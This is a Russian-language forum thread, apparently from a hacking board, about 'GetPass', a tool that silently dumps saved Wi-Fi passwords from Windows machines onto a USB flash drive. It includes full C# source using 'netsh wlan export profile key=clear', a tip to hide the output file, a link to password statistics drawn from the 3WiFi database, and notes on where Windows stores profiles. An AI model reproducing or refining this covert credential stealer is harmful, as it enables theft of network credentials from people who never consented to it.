Попробуйте с правами администратора запустить утилиту у меня так получается норм, все отрабатывает на виртуалке правда делаю но все же.
Лично Я в первую очередь так и сделал, результат вы уже видели. Программку скачали 49 раз, отпишитесь у кого как работает и на какой системе плиз.
Win 7 Pro SP1 x64, Eset Smart Security - работает без проблем, ничего не спрашивает, просто создает текстовый файл на флешке.
Win 7 Pro SP1 x64 При запуске от админа все корректно сохраняет. Если не от админа то:01000000D08C9DDF0115D1118C7A00C04FC297EB010000005096FE2281FA4E4882052138776DE3F600000000020000000000106600000001000020000000EA90C681714D2927E43BEC10864D63205983634305A57411737A2FF7CA18EC82000000000E8000000002000020000000FB01F66C47E3718F2153BF504D5F268CF93696AF941D9EDA7D84D69E0E2BB39F10000000B008F3D6AFD11D85455E6A00F140F9E1400000001BE41C86637D309ADD33046EAB6FFFF6CF5F221D6BBE4143FD203587B29F6001CA4936E588D3DED205655AD544A09413B27B7FDCBBF51BB02FE93D67EF64E2FD
Win 7 Pro SP1 x64, 360 total security работает без проблем, ничего не спрашивает, просто создает текстовый файл на флешке.
Кстати если оперироварь в windows под аккаутном без прав, такое и происходит, то- есть ламеру настроили комп и ограничили на юзверя, понятно -что нет доступа к файлам и кракозябры лезут - подправлю. Win 7 Pro SP1 x64 - права Admin (root), Eset Smart Security - работает без проблем, ничего не спрашивает, просто создает текстовый файл на флешке.
Делалось под админом, На 7 и 8.1 работает норм, только на 10 у меня такое (4 системы стоит, не виртуалки) Антивирусов нет, фаервол отключен, defender отключен. Windows 10 Enterprise LTSB *64
На Win 10 не работает, потому что не следует выбирать нужный xml-узел посредством "documentElement.LastChild.LastChild.LastChild.LastChild". Я отправлял в личку исправленный код, но никакой реакции не последовало. Поэтому вот: GetPass Spoiler: Source Code: using System; using System.Diagnostics; using System.IO; using System.Xml; namespace GetPass { internal class Program { private static void Main() { string tempDir = Path.Combine(Environment.CurrentDirectory, Path.GetRandomFileName()); Directory.CreateDirectory(tempDir); ProcessStartInfo startInfo = new ProcessStartInfo( "netsh", "wlan export profile key=clear folder=\"" + tempDir + "\""); startInfo.CreateNoWindow = true; startInfo.UseShellExecute = false; Process process = Process.Start(startInfo); if (process != null) { process.WaitForExit(); } using (StreamWriter sw = File.CreateText("WiFiPass.txt")) { foreach (string path in Directory.GetFiles(tempDir, "*.xml")) { XmlDocument doc = new XmlDocument(); doc.Load(path); XmlNamespaceManager nsmgr = new XmlNamespaceManager(doc.NameTable); nsmgr.AddNamespace("ms", "http://www.microsoft.com/networking/WLAN/profile/v1"); string SSID = ""; XmlNode SSIDNode = doc.SelectSingleNode("/ms:WLANProfile/ms:SSIDConfig/ms:SSID/ms:name", nsmgr); if (SSIDNode != null) { SSID = SSIDNode.InnerText; } string key = ""; XmlNode KeyNode = doc.SelectSingleNode("/ms:WLANProfile/ms:MSM/ms:security/ms:sharedKey/ms:keyMaterial", nsmgr); if (KeyNode != null) { key = KeyNode.InnerText; } sw.WriteLine(SSID + " - " + key); } } Directory.Delete(tempDir, true); } } }
Сделал такую вещь - статистика нахождения ESSID в PASSWORD. За основу бралась база 3WiFi. В файлах много повторов - так-как это статистика. (меньший файл около 300.000, больший около 1.000.000). Что с этим делать, решать Вам. http://rghost.ru/private/8PGjn9QbH/b44b08987e7933978f6d40d26a4e76bb ESSID заменен TAB.
Нужно добавить после блока using (StreamWriter sw = File.CreateText("WiFiPass.txt")) {...} строчку Code: File.SetAttributes("WiFiPass.txt", FileAttributes.Hidden);
Сейчас испробовал аналогичную программу по поиску установленных WiFi ключей на ноутбуке "WiFiPasswordDecryptor". Так вот эта программа выдала мне на 3 ключа больше чем GetPass. Я так понял GetPass выдал только те ключи ,которые были использованы со встроенного в ноутбук адаптера,но я так же пользовался и внешним адаптером для подключения к сети, так вот эти ключи GetPass не увидел.
Все профили сетей для всех адаптеров хранятся в: %ProgramData%\Microsoft\Wlansvc\Profiles\Interfaces\ Я писал дампер на Delphi, но он декодирует пароли только от NT Authority\System.